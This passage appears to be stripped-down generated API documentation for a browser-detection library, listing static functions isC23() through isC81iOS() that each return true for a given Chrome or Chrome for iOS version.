+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC23()

+ + + + + + +
+

Returns true if Chrome 23.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC23iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 23.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC24()

+ + + + + + +
+

Returns true if Chrome 24.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC24iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 24.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC25()

+ + + + + + +
+

Returns true if Chrome 25.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC25iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 25.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC26()

+ + + + + + +
+

Returns true if Chrome 26.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC26iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 26.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC27()

+ + + + + + +
+

Returns true if Chrome 27.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC27iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 27.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC28()

+ + + + + + +
+

Returns true if Chrome 28.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC28iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 28.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC29()

+ + + + + + +
+

Returns true if Chrome 29.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC29iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 29.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC30()

+ + + + + + +
+

Returns true if Chrome 30.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC30iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 30.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC31()

+ + + + + + +
+

Returns true if Chrome 31.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC31iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 31.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC32()

+ + + + + + +
+

Returns true if Chrome 32.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC32iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 32.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC33()

+ + + + + + +
+

Returns true if Chrome 33.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC33iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 33.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC34()

+ + + + + + +
+

Returns true if Chrome 34.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC34iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 34.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC35()

+ + + + + + +
+

Returns true if Chrome 35.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC35iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 35.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC36()

+ + + + + + +
+

Returns true if Chrome 36.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC36iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 36.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC37()

+ + + + + + +
+

Returns true if Chrome 37.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC37iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 37.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC38()

+ + + + + + +
+

Returns true if Chrome 38.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC38iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 38.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC39()

+ + + + + + +
+

Returns true if Chrome 39.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC39iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 39.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC40()

+ + + + + + +
+

Returns true if Chrome 40.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC40iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 40.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC41()

+ + + + + + +
+

Returns true if Chrome 41.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC41iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 41.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC42()

+ + + + + + +
+

Returns true if Chrome 42.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC42iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 42.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC43()

+ + + + + + +
+

Returns true if Chrome 43.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC43iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 43.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC44()

+ + + + + + +
+

Returns true if Chrome 44.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC44iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 44.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC45()

+ + + + + + +
+

Returns true if Chrome 45.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC45iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 45.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC46()

+ + + + + + +
+

Returns true if Chrome 46.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC46iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 46.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC47()

+ + + + + + +
+

Returns true if Chrome 47.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC47iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 47.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC48()

+ + + + + + +
+

Returns true if Chrome 48.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC48iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 48.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC49()

+ + + + + + +
+

Returns true if Chrome 49.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC49iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 49.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC50()

+ + + + + + +
+

Returns true if Chrome 50.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC50iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 50.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC51()

+ + + + + + +
+

Returns true if Chrome 51.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC51iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 51.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC52()

+ + + + + + +
+

Returns true if Chrome 52.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC52iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 52.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC53()

+ + + + + + +
+

Returns true if Chrome 53.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC53iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 53.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC54()

+ + + + + + +
+

Returns true if Chrome 54.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC54iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 54.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC55()

+ + + + + + +
+

Returns true if Chrome 55.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC55iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 55.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC56()

+ + + + + + +
+

Returns true if Chrome 56.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC56iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 56.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC57()

+ + + + + + +
+

Returns true if Chrome 57.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC57iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 57.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC58()

+ + + + + + +
+

Returns true if Chrome 58.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC58iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 58.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC59()

+ + + + + + +
+

Returns true if Chrome 59.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC59iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 59.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC60()

+ + + + + + +
+

Returns true if Chrome 60.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC60iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 60.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC61()

+ + + + + + +
+

Returns true if Chrome 61.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC61iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 61.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC62()

+ + + + + + +
+

Returns true if Chrome 62.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC62iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 62.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC63()

+ + + + + + +
+

Returns true if Chrome 63.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC63iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 63.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC64()

+ + + + + + +
+

Returns true if Chrome 64.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC64iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 64.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC65()

+ + + + + + +
+

Returns true if Chrome 65.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC65iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 65.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC66()

+ + + + + + +
+

Returns true if Chrome 66.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC66iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 66.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC67()

+ + + + + + +
+

Returns true if Chrome 67.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC67iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 67.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC68()

+ + + + + + +
+

Returns true if Chrome 68.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC68iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 68.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC69()

+ + + + + + +
+

Returns true if Chrome 69.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC69iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 69.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC70()

+ + + + + + +
+

Returns true if Chrome 70.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC70iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 70.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC71()

+ + + + + + +
+

Returns true if Chrome 71.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC71iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 71.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC72()

+ + + + + + +
+

Returns true if Chrome 72.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC72iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 72.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC73()

+ + + + + + +
+

Returns true if Chrome 73.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC73iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 73.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC74()

+ + + + + + +
+

Returns true if Chrome 74.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC74iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 74.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC75()

+ + + + + + +
+

Returns true if Chrome 75.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC75iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 75.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC76()

+ + + + + + +
+

Returns true if Chrome 76.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC76iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 76.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC77()

+ + + + + + +
+

Returns true if Chrome 77.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC77iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 77.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC78()

+ + + + + + +
+

Returns true if Chrome 78.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC78iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 78.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC79()

+ + + + + + +
+

Returns true if Chrome 79.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC79iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 79.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC80()

+ + + + + + +
+

Returns true if Chrome 80.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC80iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 80.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC81()

+ + + + + + +
+

Returns true if Chrome 81.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC81iOS()

